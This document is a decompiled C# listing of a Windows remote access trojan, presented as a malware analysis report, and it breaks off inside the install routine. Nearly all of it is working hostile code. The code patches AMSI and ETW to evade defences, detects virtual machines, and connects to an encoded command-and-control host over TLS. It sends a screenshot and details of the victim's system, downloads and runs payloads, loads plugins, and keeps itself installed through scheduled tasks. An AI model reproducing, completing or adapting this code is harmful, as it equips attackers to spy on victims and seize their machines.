serega.exedcrat analysis report - Malicious

using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Management;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.AccessControl;
using System.Security.Authentication;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Client.Helper;
using Leb128;
using Microsoft.Win32;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Client")]
[assembly: AssemblyCopyright("Copyright ©  2024")]
[assembly: AssemblyTrademark("")]
[assembly: Guid("4a2f8fb6-1077-469a-9246-736e6afe8da1")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: ComVisible(false)]
[assembly: TargetFramework(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Leb128
{

	internal class Config
	{
		public static string Hosts;

		public static string Group;

		public static string Version;

		public static string Mutex;

		public static string Install;

		public static string InstallWatchDog;

		public static string UseInstallAdmin;

		public static string ExclusionWD;

		public static string HiddenFile;

		public static string RootKit;

		public static string Pump;

		public static string TaskClient;

		public static string TaskWatchDog;

		public static string PathClient;

		public static string PathWatchDog;

		public static string Certificate;

		public static string Antivirtual;

		public static string UserInit;

		public static string Key;

		public static string Camera;

		public static string Cpu;

		public static string Gpu;

		public static string AntiVirus;

		public static string RegKey;

		public static string WindowsVersion;

		public static string Hwid;

		public static string DataInstall;

		public static string Privilege;

		public static X509Certificate2 ServerCertificate;

		public static void Init()
		{
			RegKey = EncryptString.Decode("false");
			WindowsVersion = Methods.GetWindowsVersion();
			Gpu = string.Join(EncryptString.Decode("%"), Methods.GetHardwareInfo(EncryptString.Decode("nUI.pd:UP@'+'INm'??@m"), EncryptString.Decode("2O_@")));
			DataInstall = File.GetCreationTime(Process.GetCurrentProcess().MainModule.FileName).ToString(EncryptString.Decode("PPx((xqqqq"));
			Hwid = HwidGenerator.hwid();
			Cpu = string.Join(EncryptString.Decode("%"), Methods.GetHardwareInfo(EncryptString.Decode("nUI.pdcm'Y@AA'm"), EncryptString.Decode("2O_@")));
			AntiVirus = Methods.Antivirus();
			Camera = Methods.Camera();
			if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
			{
				Privilege = EncryptString.Decode("vP_UI");
			}
			else
			{
				Privilege = EncryptString.Decode("]A@m");
			}
			Hosts = EncryptString.Decode(Hosts);
			Group = EncryptString.Decode(Group);
			Version = EncryptString.Decode(Version);
			Mutex = EncryptString.Decode(Mutex);
			Install = EncryptString.Decode(Install);
			RootKit = EncryptString.Decode(RootKit);
			Key = EncryptString.Decode(Key);
			Certificate = EncryptString.Decode(Certificate);
			if (Install == EncryptString.Decode("Nm/@"))
			{
				PathClient = Methods.GetPath(EncryptString.Decode(PathClient));
				UseInstallAdmin = EncryptString.Decode(UseInstallAdmin);
				ExclusionWD = EncryptString.Decode(ExclusionWD);
				HiddenFile = EncryptString.Decode(HiddenFile);
				Pump = EncryptString.Decode(Pump);
				UserInit = EncryptString.Decode(UserInit);
				TaskClient = EncryptString.Decode(TaskClient);
				InstallWatchDog = EncryptString.Decode(InstallWatchDog);
				if (InstallWatchDog == EncryptString.Decode("Nm/@"))
				{
					PathWatchDog = Methods.GetPath(EncryptString.Decode(PathWatchDog));
					TaskWatchDog = EncryptString.Decode(TaskWatchDog);
				}
			}
			ServerCertificate = new X509Certificate2(Xor.DecodEncod(Methods.GetResourceFile(Certificate), Encoding.ASCII.GetBytes(Key)));
		}

		static Config()
		{
			Hosts = "zmJxzm@@zmJxI@N#~~~~~";
			Group = "";
			Version = "Kxo";
			Mutex = "{,,uU)J__>NuH0-I{B}~N,}<K1";
			Install = "Nm/@";
			InstallWatchDog = "Nm/@";
			UseInstallAdmin = "Nm/@";
			ExclusionWD = "Nm/@";
			HiddenFile = "Nm/@";
			RootKit = ") ~ '?W./p~Y}uP<>fXJPO";
			Pump = "zO?A@";
			TaskClient = "+Em'_mx@)@";
			TaskWatchDog = "A@m@FOx@)@";
			PathClient = "g(qR'Y/_@INAgk)PfPA@m@FOx@)@";
			PathWatchDog = "g]A@mcm'zU?@gk)PfPA@m@FOx)PfP";
			Certificate = "N'IWfF<U";
			Antivirtual = "zO?A@";
			UserInit = "Nm/@";
			Key = "__AjFJO_uN)q_}";
		}
	}

	internal class Program
	{
		public static Client.Helper.Client client = new Client.Helper.Client();

		private static void Main(string[] args)
		{
			try
			{
				Config.Init();
				AsmiAndETW.Bypass();
				if (Config.Install == EncryptString.Decode("Nm/@"))
				{
					Install.Run();
				}
				if (!MutexControl.CreateMutex(Config.Mutex))
				{
					return;
				}
				Methods.MaxPriority();
				Methods.PreventSleep();
				while (true)
				{
					if (!client.itsConnect)
					{
						string[] array = Config.Hosts.Split(new char[1] { ';' });
						string[] array2 = array[Methods.random.Next(array.Length)].Split(new char[1] { ':' });
						string[] array3 = array2[1].Split(new char[1] { ',' });
						client.Disconnect();
						client.Connect(array2[0], array3[Methods.random.Next(array3.Length)]);
						if (client.itsConnect)
						{
							client.pingChecker = new PingChecker(client);
							client.lastPing = new LastPing(client);
							client.Send(LEB128.Write(new object[14]
							{
								EncryptString.Decode("+'II@YN"),
								Methods.CaptureResizeReduceQuality(),
								Config.Group,
								Config.Hwid,
								Environment.UserName + EncryptString.Decode("^1^") + Environment.MachineName,
								Config.Camera,
								Config.Cpu,
								Config.Gpu,
								Config.WindowsVersion,
								Config.AntiVirus,
								Config.Version,
								Config.DataInstall,
								Config.Privilege,
								Methods.GetActiveWindowTitle()
							}));
						}
					}
					Thread.Sleep(200);
				}
			}
			catch
			{
			}
		}
	}

	internal class AntiVirtual
	{
		public static void RunAntiAnalysis()
		{
			if (isVM_by_wim_temper() || isVM_by_wim_temper1() || Check() || CheckWMI() || SmallDiskDetected() || EnvironmentDetected())
			{
				Environment.Exit(0);
			}
		}

		public static bool Check()
		{
			string[] array = new string[5]
			{
				EncryptString.Decode("!QU@R??xP??"),
				EncryptString.Decode("AI)E xP??"),
				EncryptString.Decode("Y_P}mN.pxP??"),
				EncryptString.Decode("!zpxP??"),
				EncryptString.Decode("!)=IxP??")
			};
			for (int i = 0; i < array.Length; i++)
			{
				if (DllImport.GetModuleHandleA(array[i]) != 0)
				{
					return true;
				}
			}
			return false;
		}

		public static bool isVM_by_wim_temper()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0014: Expected O, but got Unknown
			//IL_000f: Unknown result type (might be due to invalid IL or missing references)
			return new ManagementObjectSearcher((ObjectQuery)new SelectQuery(EncryptString.Decode("!@?@YN^&^zm'_^nUI.pd+OYE@(@_'mq"))).Get().Count == 0;
		}

		public static bool isVM_by_wim_temper1()
		{
			//IL_000a: Unknown result type (might be due to invalid IL or missing references)
			//IL_0014: Expected O, but got Unknown
			//IL_000f: Unknown result type (might be due to invalid IL or missing references)
			return new ManagementObjectSearcher((ObjectQuery)new SelectQuery(EncryptString.Decode("!@?@YN^&^zm'_^+=(d(@_'mq"))).Get().Count == 0;
		}

		public static bool CheckWMI()
		{
			//IL_00a3: Unknown result type (might be due to invalid IL or missing references)
			string[] source = new string[11]
			{
				EncryptString.Decode("}UmN/O?"),
				EncryptString.Decode("UII'N@ ^F_QE"),
				EncryptString.Decode("NJ}YFON@fOq"),
				EncryptString.Decode(":(hE"),
				EncryptString.Decode("NJO/N'Y'IIA}Y"),
				EncryptString.Decode("}Q')"),
				EncryptString.Decode("}_Q')"),
				EncryptString.Decode("}_fOm@"),
				EncryptString.Decode("}UmN/O?Q')"),
				EncryptString.Decode("Q')"),
				EncryptString.Decode("NEUIOJJ")
			};
			try
			{
				ManagementObject val = (from p in ((IEnumerable)new ManagementObjectSearcher("m''Nk+=(:p", "!tCt+\"^&^*[G(^nUI.pd+'_J/N@m!qAN@_").Get()).OfType<ManagementObject>()
					where p != null
					select p).FirstOrDefault();
				if (((ManagementBaseObject)val)[EncryptString.Decode("('P@?")] != null && source.Contains(((ManagementBaseObject)val)[EncryptString.Decode("('P@?")].ToString().ToLower()))
				{
					return true;
				}
				if (((ManagementBaseObject)val)[EncryptString.Decode("(OI/zOYN/m@m")] != null && source.Contains(((ManagementBaseObject)val)[EncryptString.Decode("(OI/zOYN/m@m")].ToString().ToLower()))
				{
					return true;
				}
			}
			catch
			{
			}
			return false;
		}

		public static bool SmallDiskDetected()
		{
			try
			{
				long num = GetTotalSize(Path.GetPathRoot(Environment.SystemDirectory).Substring(0, 1)) / 1000000000;
				long num2 = 45L;
				return num < num2;
			}
			catch
			{
				return false;
			}
		}

		public static long GetTotalSize(string driveLetter)
		{
			long lpFreeBytesAvailable = 0L;
			long lpTotalNumberOfBytes = 0L;
			long lpTotalNumberOfFreeBytes = 0L;
			DllImport.GetDiskFreeSpaceEx(driveLetter + EncryptString.Decode("#k"), ref lpFreeBytesAvailable, ref lpTotalNumberOfBytes, ref lpTotalNumberOfFreeBytes);
			return lpTotalNumberOfBytes;
		}

		public static bool EnvironmentDetected()
		{
			string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), EncryptString.Decode("PmU}@mA"));
			string[] array = new string[10]
			{
				EncryptString.Decode("QO??''IxAqA"),
				EncryptString.Decode("I@N }_xAqA"),
				EncryptString.Decode("J}JOIUYxAqA"),
				EncryptString.Decode("}U'zAxAqA"),
				EncryptString.Decode("}U'zAxAqA"),
				EncryptString.Decode("}U'FJ/P'xAqA"),
				EncryptString.Decode("}U'UIJ/NxAqA"),
				EncryptString.Decode("}U'mIFxAqA"),
				EncryptString.Decode("}U'A@mxAqA"),
				EncryptString.Decode("}U'AN'mxAqA")
			};
			foreach (string path2 in array)
			{
				if (File.Exists(Path.Combine(path, path2)))
				{
					return true;
				}
			}
			string path3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
			array = new string[2]
			{
				EncryptString.Decode("H@_/6FO"),
				EncryptString.Decode("!c=+t^b/@AN^\"''?A")
			};
			foreach (string path4 in array)
			{
				if (Directory.Exists(Path.Combine(path3, path4)))
				{
					return true;
				}
			}
			return Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName).ToLower().Contains(EncryptString.Decode("AOIPQ')"));
		}
	}

	internal class AsmiAndETW
	{
		public static byte[] x64_etw_patch = new byte[4] { 72, 51, 192, 195 };

		public static byte[] x86_etw_patch = new byte[5] { 51, 192, 194, 20, 0 };

		public static byte[] x64_am_si_patch = new byte[12]
		{
			184, 52, 18, 7, 128, 102, 184, 50, 0, 176,
			87, 195
		};

		public static byte[] x86_am_si_patch = new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 };

		private static void PatchAmsi(byte[] patch)
		{
			string text = EncryptString.Decode("O_AUxP??");
			bool flag = true;
			foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
			{
				if (module.ModuleName == text)
				{
					PatchMem(patch, text, EncryptString.Decode("v_AU!YOIl/zz@m"));
					flag = false;
					break;
				}
			}
			if (flag)
			{
				AggresivAmsiActivate(patch, text);
			}
		}

		private static void AggresivAmsiActivate(byte[] patch, string dll)
		{
			byte[] array = new byte[new Random().Next(1, 100)];
			new Random().NextBytes(array);
			Assembly assembly = Assembly.Load(array);
			try
			{
				assembly.EntryPoint.Invoke(null, null);
			}
			catch
			{
			}
			foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
			{
				if (module.ModuleName == dll)
				{
					PatchMem(patch, dll, EncryptString.Decode("v_AU!YOIl/zz@m"));
				}
			}
		}

		private static void PatchETW(byte[] Patch)
		{
			PatchMem(Patch, EncryptString.Decode("INP??xP??"), EncryptString.Decode("tNft}@INnmUN@"));
		}

		private static void PatchMem(byte[] patch, string library, string function)
		{
			try
			{
				IntPtr processHandle = new IntPtr(-1);
				IntPtr BaseAddress = DInvokeCore.GetExportAddress((from ProcessModule x in Process.GetCurrentProcess().Modules
					where library.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)
					select x).FirstOrDefault().BaseAddress, function);
				IntPtr RegionSize = new IntPtr(patch.Length);
				uint OldProtect = 0u;
				DllImport.NtProtectVirtualMemory(processHandle, ref BaseAddress, ref RegionSize, 64u, ref OldProtect);
				Marshal.Copy(patch, 0, BaseAddress, patch.Length);
			}
			catch
			{
			}
		}

		public static void Bypass()
		{
			if (Config.AntiVirus.ToLower().Contains(EncryptString.Decode("O}OAN")))
			{
				return;
			}
			try
			{
				if (IntPtr.Size != 4)
				{
					PatchAmsi(x64_am_si_patch);
					PatchETW(x64_etw_patch);
				}
				else
				{
					PatchAmsi(x86_am_si_patch);
					PatchETW(x86_etw_patch);
				}
			}
			catch
			{
			}
		}
	}

	public class Client
	{
		public Socket socket;

		public SslStream SslClient;

		public byte[] ClientBuffer;

		public bool ClientBufferRecevied;

		public int HeaderSize;

		public int Offset;

		public object SendSync;

		public bool itsConnect;

		public PingChecker pingChecker;

		public LastPing lastPing;

		public void Connect(string ip, string port)
		{
			try
			{
				socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
				socket.ReceiveBufferSize = 512000;
				socket.SendBufferSize = 512000;
				socket.Connect(ip, Convert.ToInt32(port));
				if (socket.Connected)
				{
					SendSync = new object();
					SslClient = new SslStream(new NetworkStream(socket, ownsSocket: true), leaveInnerStreamOpen: false, ValidateServerCertificate);
					SslClient.AuthenticateAsClient(socket.RemoteEndPoint.ToString().Split(new char[1] { ':' })[0], null, SslProtocols.Tls, checkCertificateRevocation: false);
					Offset = 0;
					HeaderSize = 4;
					ClientBuffer = new byte[HeaderSize];
					ClientBufferRecevied = false;
					SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
				}
				itsConnect = socket.Connected;
			}
			catch (Exception)
			{
				itsConnect = false;
			}
		}

		private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
		{
			return Config.ServerCertificate.Equals(certificate);
		}

		public void Disconnect()
		{
			itsConnect = false;
			ClientBuffer = null;
			HeaderSize = 0;
			Offset = 0;
			if (pingChecker != null)
			{
				pingChecker.Disconnect();
			}
			if (lastPing != null)
			{
				lastPing.Disconnect();
			}
			if (socket != null)
			{
				socket.Dispose();
			}
			if (SslClient != null)
			{
				SslClient.Dispose();
			}
		}

		public void ReadData(IAsyncResult ar)
		{
			if (!itsConnect)
			{
				return;
			}
			try
			{
				int num = SslClient.EndRead(ar);
				if (num > 0)
				{
					HeaderSize -= num;
					Offset += num;
					if (!ClientBufferRecevied)
					{
						ProcessClientBufferNotReceived();
					}
					else
					{
						ProcessClientBufferReceived();
					}
					if (itsConnect)
					{
						SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
					}
				}
				else
				{
					itsConnect = false;
				}
			}
			catch (Exception)
			{
				itsConnect = false;
			}
		}

		public void ProcessClientBufferReceived2()
		{
			Offset = 0;
			HeaderSize = 4;
			ClientBuffer = new byte[HeaderSize];
			ClientBufferRecevied = false;
		}

		public void ProcessClientBufferReceived1()
		{
			new Thread(Read).Start(ClientBuffer);
			ProcessClientBufferReceived2();
		}

		public void ProcessClientBufferReceived()
		{
			if (HeaderSize == 0)
			{
				ProcessClientBufferReceived1();
			}
			else if (HeaderSize < 0)
			{
				itsConnect = false;
			}
		}

		public void ProcessClientBufferNotReceived1()
		{
			HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
			if (HeaderSize > 0)
			{
				ClientBuffer = new byte[HeaderSize];
				Offset = 0;
				ClientBufferRecevied = true;
			}
		}

		public void ProcessClientBufferNotReceived()
		{
			if (HeaderSize == 0)
			{
				ProcessClientBufferNotReceived1();
			}
			else if (HeaderSize < 0)
			{
				itsConnect = false;
			}
		}

		public void Error(string exp)
		{
			Send(LEB128.Write(new object[2]
			{
				EncryptString.Decode("tmm'm"),
				exp
			}));
		}

		public void Send(byte[] Data)
		{
			if (!itsConnect)
			{
				return;
			}
			lock (SendSync)
			{
				try
				{
					byte[] bytes = BitConverter.GetBytes(Data.Length);
					byte[] array = new byte[4 + Data.Length];
					Array.Copy(bytes, 0, array, 0, bytes.Length);
					Array.Copy(Data, 0, array, 4, Data.Length);
					socket.Poll(-1, SelectMode.SelectWrite);
					SslClient.Write(array, 0, array.Length);
					SslClient.Flush();
				}
				catch (Exception)
				{
					itsConnect = false;
				}
			}
		}

		public void Read(object data)
		{
			object[] array = LEB128.Read((byte[])data);
			if (lastPing != null)
			{
				lastPing.Last();
			}
			if ((string)array[0] == EncryptString.Decode("=I}' @"))
			{
				PluginLoader.Invoke(array, this);
			}
			if ((string)array[0] == EncryptString.Decode("!O}@=I}' @"))
			{
				PluginLoader.SaveInvoke(array, this);
			}
			if ((string)array[0] == EncryptString.Decode("c'IF"))
			{
				pingChecker.Stop(this);
			}
			if ((string)array[0] == EncryptString.Decode("t)UN"))
			{
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("[@ANOmN"))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("Y_P");
				processStartInfo.Arguments = EncryptString.Decode("a ^NU_@'/N^X^L^2]C^00^D") + Methods.GetExecutablePath() + EncryptString.Decode("D");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo.Verb = EncryptString.Decode("m/IOA");
				}
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
				Thread.Sleep(new Random().Next(2000, 3000));
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("]IUIANO??"))
			{
				if (Config.Install == EncryptString.Decode("zO?A@"))
				{
					Methods.Exit();
				}
				ProcessStartInfo processStartInfo2 = new ProcessStartInfo();
				processStartInfo2.UseShellExecute = false;
				processStartInfo2.CreateNoWindow = true;
				processStartInfo2.RedirectStandardOutput = true;
				processStartInfo2.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo2.FileName = Install.Uninstall();
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo2.Verb = EncryptString.Decode("m/IOA");
				}
				Process process2 = new Process();
				process2.StartInfo = processStartInfo2;
				process2.Start();
				Thread.Sleep(2000);
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("]JPON@"))
			{
				string text = Path.GetTempFileName() + EncryptString.Decode("x@)@");
				File.WriteAllBytes(text, (byte[])array[1]);
				ProcessStartInfo processStartInfo3 = new ProcessStartInfo();
				processStartInfo3.UseShellExecute = false;
				processStartInfo3.CreateNoWindow = true;
				processStartInfo3.RedirectStandardOutput = true;
				processStartInfo3.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo3.FileName = EncryptString.Decode("Y_P");
				processStartInfo3.Arguments = EncryptString.Decode("a ^NU_@'/N^K<^L^2]C^00^D") + text + EncryptString.Decode("D");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo3.Verb = EncryptString.Decode("m/IOA");
				}
				Process process3 = new Process();
				process3.StartInfo = processStartInfo3;
				process3.Start();
				string fileName = Install.Uninstall();
				if (Config.Install == EncryptString.Decode("zO?A@"))
				{
					Methods.Exit();
				}
				ProcessStartInfo processStartInfo4 = new ProcessStartInfo();
				processStartInfo4.UseShellExecute = false;
				processStartInfo4.CreateNoWindow = true;
				processStartInfo4.RedirectStandardOutput = true;
				processStartInfo4.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo4.FileName = fileName;
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo4.Verb = EncryptString.Decode("m/IOA");
				}
				Process process4 = new Process();
				process4.StartInfo = processStartInfo4;
				process4.Start();
				Thread.Sleep(2000);
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("!N/Q]JPON@"))
			{
				Updater.Main();
			}
		}
	}

	public class Delegates
	{
		public delegate IntPtr DSBnjin8bs92nbjfsdi(string lpModuleName);

		public delegate IntPtr dsUinnb8sdn9g8bngs();

		public delegate int buhsdINJOMF9nuijm(IntPtr hWnd, StringBuilder text, int count);

		public delegate uint gdfudsin8shd2(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect);

		public delegate bool gvSUDINJons29fg(string lpDirectoryName, ref long lpFreeBytesAvailable, ref long lpTotalNumberOfBytes, ref long lpTotalNumberOfFreeBytes);

		public delegate DllImport.EXECUTION_STATE dsGFGdg(DllImport.EXECUTION_STATE esFlags);
	}

	public class DInvokeCore
	{
		public static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
		{
			IntPtr loadedModuleAddress = GetLoadedModuleAddress(DLLName);
			if (loadedModuleAddress == IntPtr.Zero)
			{
				throw new DllNotFoundException(DLLName);
			}
			return GetExportAddress(loadedModuleAddress, FunctionName);
		}

		public static IntPtr GetLoadedModuleAddress(string DLLName)
		{
			foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
			{
				if (string.Compare(module.ModuleName, DLLName, ignoreCase: true) == 0)
				{
					return module.BaseAddress;
				}
			}
			return IntPtr.Zero;
		}

		public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
		{
			IntPtr intPtr = IntPtr.Zero;
			try
			{
				int num = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 60));
				Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + num + 20));
				long num2 = ModuleBase.ToInt64() + num + 24;
				long num3 = ((Marshal.ReadInt16((IntPtr)num2) != 267) ? (num2 + 112) : (num2 + 96));
				int num4 = Marshal.ReadInt32((IntPtr)num3);
				int num5 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 16));
				Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 20));
				int num6 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 24));
				int num7 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 28));
				int num8 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 32));
				int num9 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 36));
				for (int i = 0; i < num6; i++)
				{
					if (Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num8 + i * 4)))).Equals(ExportName, StringComparison.OrdinalIgnoreCase))
					{
						int num10 = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + num9 + i * 2)) + num5;
						int num11 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num7 + 4 * (num10 - num5)));
						intPtr = (IntPtr)((long)ModuleBase + num11);
						break;
					}
				}
			}
			catch
			{
				throw new Exception();
			}
			if (intPtr == IntPtr.Zero)
			{
				throw new Exception(ExportName);
			}
			return intPtr;
		}

		public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
		{
			IntPtr libraryAddress = GetLibraryAddress(DLLName, FunctionName);
			if (libraryAddress == IntPtr.Zero)
			{
				throw new Exception();
			}
			return DynamicFunctionInvoke(libraryAddress, FunctionDelegateType, ref Parameters);
		}

		public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
		{
			return Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType).DynamicInvoke(Parameters);
		}
	}

	public static class DllImport
	{
		public enum EXECUTION_STATE : uint
		{
			ES_CONTINUOUS = 2147483648u,
			ES_DISPLAY_REQUIRED = 2u,
			ES_SYSTEM_REQUIRED = 1u
		}

		public static int GetModuleHandleA(string lpModuleName)
		{
			object[] Parameters = new object[1] { lpModuleName };
			return ((IntPtr)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("b@N('P/?@8OIP?@v"), typeof(Delegates.DSBnjin8bs92nbjfsdi), ref Parameters)).ToInt32();
		}

		public static EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags)
		{
			object[] Parameters = new object[1] { esFlags };
			return (EXECUTION_STATE)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("!@N\"Em@OPt)@Y/NU'I!NON@"), typeof(Delegates.dsGFGdg), ref Parameters);
		}

		public static IntPtr GetForegroundWindow()
		{
			object[] Parameters = new object[0];
			return (IntPtr)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("/[email protected]??"), EncryptString.Decode("b@N*'m@Fm'/IPnUIP'f"), typeof(Delegates.dsUinnb8sdn9g8bngs), ref Parameters);
		}

		public static int GetWindowText(IntPtr hWnd, StringBuilder text, int count)
		{
			object[] Parameters = new object[3] { hWnd, text, count };
			return (int)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("/[email protected]??"), EncryptString.Decode("b@NnUIP'f\"@)Nv"), typeof(Delegates.buhsdINJOMF9nuijm), ref Parameters);
		}

		public static bool GetDiskFreeSpaceEx(string lpDirectoryName, ref long lpFreeBytesAvailable, ref long lpTotalNumberOfBytes, ref long lpTotalNumberOfFreeBytes)
		{
			object[] Parameters = new object[4] { lpDirectoryName, lpFreeBytesAvailable, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes };
			bool result = (bool)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("b@NRUA *m@@!JOY@t)"), typeof(Delegates.gvSUDINJons29fg), ref Parameters);
			lpFreeBytesAvailable = (long)Parameters[1];
			lpTotalNumberOfBytes = (long)Parameters[2];
			lpTotalNumberOfFreeBytes = (long)Parameters[3];
			return result;
		}

		public static bool NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect)
		{
			OldProtect = 0u;
			object[] Parameters = new object[5] { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect };
			if ((uint)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("INP??xP??"), EncryptString.Decode("2Ncm'N@YN:UmN/O?(@_'mq"), typeof(Delegates.gdfudsin8shd2), ref Parameters) != 0)
			{
				return false;
			}
			OldProtect = (uint)Parameters[4];
			return true;
		}
	}

	internal class EncryptString
	{
		public static string enc = "\\;KVo+F8|.gLCMY6*etclU(4q)}S&nZB`Q'>TX%ayW2@9[E/_G\"!1{v~]PxD0ikrIuOdm=J,5^f<$j7HN#zbh-sp3:w RA?";

		public static string dec = "kST:',*oMxFC+(3u&@NY?]-~HZV!0I9les$L\"hgOqnp1>|tadbD;Ki}75c)R<U m=/GP_`w%X{z\\BrW82yjQE6AJ.#f^[v4";

		public static string Decode(string text)
		{
			string text2 = "";
			foreach (char c in text)
			{
				for (int j = 0; j < dec.Length; j++)
				{
					if (dec[j] == c)
					{
						text2 += enc[j];
						break;
					}
				}
			}
			return text2;
		}
	}

	internal class HwidGenerator
	{
		public static string hwid()
		{
			if (SetRegistry.CheckValue(EncryptString.Decode("8fUP")))
			{
				return SetRegistry.GetValue(EncryptString.Decode("8fUP"));
			}
			MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] bytes = Encoding.ASCII.GetBytes(Inf());
			bytes = mD5CryptoServiceProvider.ComputeHash(bytes);
			return ByteToStr(bytes);
		}

		private static string ByteToStr(byte[] buffer)
		{
			StringBuilder stringBuilder = new StringBuilder();
			foreach (byte b in buffer)
			{
				stringBuilder.Append(b.ToString(EncryptString.Decode(")p")));
			}
			return stringBuilder.ToString();
		}

		private static string identifier(string wmiClass, string wmiProperty)
		{
			//IL_0007: Unknown result type (might be due to invalid IL or missing references)
			//IL_001f: Unknown result type (might be due to invalid IL or missing references)
			//IL_0025: Expected O, but got Unknown
			string text = "";
			ManagementObjectEnumerator enumerator = new ManagementClass(wmiClass).GetInstances().GetEnumerator();
			try
			{
				while (enumerator.MoveNext())
				{
					ManagementObject val = (ManagementObject)enumerator.Current;
					if (text == "")
					{
						try
						{
							text = ((ManagementBaseObject)val)[wmiProperty].ToString();
						}
						catch
						{
							continue;
						}
						break;
					}
				}
			}
			finally
			{
				((IDisposable)enumerator)?.Dispose();
			}
			return text;
		}

		private static string Inf()
		{
			return identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("('P@?")) + identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("(OI/zOYN/m@m")) + identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("2O_@")) + identifier(EncryptString.Decode("nUI.pdcm'Y@AA'm"), EncryptString.Decode("2O_@")) + Config.WindowsVersion + Config.Gpu + Config.DataInstall + Environment.ProcessorCount;
		}
	}

	internal class Install
	{
		public static bool Installing = true;

		public static void Run()
		{
			if (Config.UseInstallAdmin == EncryptString.Decode("Nm/@") && Config.Privilege == EncryptString.Decode("]A@m"))
			{
				if (TaskCheck(Config.TaskClient) && File.Exists(Config.PathClient))
				{
